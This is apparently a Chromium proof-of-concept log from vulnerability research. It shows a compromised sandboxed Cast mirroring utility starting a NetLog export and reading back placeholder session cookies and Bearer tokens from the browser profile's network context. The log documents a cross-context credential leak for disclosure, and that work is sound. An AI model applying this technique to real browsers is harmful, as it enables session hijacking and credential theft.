[1720:1720:0527/161306.274517:ERROR:chrome/browser/media/cast_mirroring_service_host.cc:674] [POC-BROWSER] Launching sandboxed Mirroring utility (simulating user 'Cast tab' click).
[1866:1866:0527/161306.292482:ERROR:components/mirroring/service/mirroring_service.cc:67] [POC-UTILITY] pid=1866 — compromised Mirroring utility starting NetLog sniff.
[1866:1866:0527/161306.292806:ERROR:components/mirroring/service/mirroring_service.cc:90] [POC-UTILITY] memfd_create ok (write_fd=116, read_fd=119).
[1720:1720:0527/161306.292819:ERROR:chrome/browser/media/cast_mirroring_service_host.cc:714] [POC-BROWSER] Brokering fresh NetworkContext to sandboxed Mirroring utility.
[1866:1866:0527/161306.301909:ERROR:components/mirroring/service/mirroring_service.cc:102] [POC-UTILITY] NetLogExporter::Start -> net_error=0. Now observing the *global* NetLog from a sandboxed utility that holds NO profile data.
[1866:1866:0527/161314.293080:ERROR:components/mirroring/service/mirroring_service.cc:117] [POC-UTILITY] Stopping exporter to flush captured events.
[1866:1866:0527/161314.298137:ERROR:components/mirroring/service/mirroring_service.cc:124] [POC-UTILITY] NetLogExporter::Stop -> net_error=0. Reading back captured NetLog from memfd.
[1866:1866:0527/161314.431443:ERROR:components/mirroring/service/mirroring_service.cc:138] [POC-UTILITY] Captured 170273154 bytes of process-global NetLog.
[1866:1866:0527/161314.431675:ERROR:components/mirroring/service/mirroring_service.cc:146] [POC-UTILITY] !!! LEAK CONFIRMED — cookie from the *profile* NetworkContext was observed by the sandboxed Mirroring utility:
[1866:1866:0527/161314.431723:ERROR:components/mirroring/service/mirroring_service.cc:149] [POC-UTILITY]   ....0.1:8765/poc.html","Accept-Encoding: gzip, deflate, br, zstd","Cookie: session=SECRET_PROFILE_COOKIE_9f3d"],"line":"GET /secret?n=7&t=1779898386371 HTTP/1.1\r\n"},"phase":0,"source":{"id":253,"start_time":"172618036","type":1},"time":"1726...
[1866:1866:0527/161314.431756:ERROR:components/mirroring/service/mirroring_service.cc:150] ================================================
[1866:1866:0527/161314.431784:ERROR:components/mirroring/service/mirroring_service.cc:151] [POC-UTILITY] CROSS-NETWORKCONTEXT NETLOG LEAK PROVEN.
[1866:1866:0527/161314.431809:ERROR:components/mirroring/service/mirroring_service.cc:152] ================================================
[1866:1866:0527/161314.431853:ERROR:components/mirroring/service/mirroring_service.cc:146] [POC-UTILITY] !!! LEAK CONFIRMED — Authorization header from the *profile* NetworkContext was observed by the sandboxed Mirroring utility:
[1866:1866:0527/161314.431881:ERROR:components/mirroring/service/mirroring_service.cc:149] [POC-UTILITY]   ...e,"request_headers":{"headers":["sec-ch-ua-platform: \"Linux\"","Authorization: Bearer SECRET_AUTH_TOKEN_e7b1","Accept-Language: en-US,en;q=0.9","sec-ch-ua: \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"150\"","User-Agent: Mozilla/5.0 (X11; Lin...
[1866:1866:0527/161314.431937:ERROR:components/mirroring/service/mirroring_service.cc:150] ================================================
[1866:1866:0527/161314.431968:ERROR:components/mirroring/service/mirroring_service.cc:151] [POC-UTILITY] CROSS-NETWORKCONTEXT NETLOG LEAK PROVEN.
[1866:1866:0527/161314.431990:ERROR:components/mirroring/service/mirroring_service.cc:152] ================================================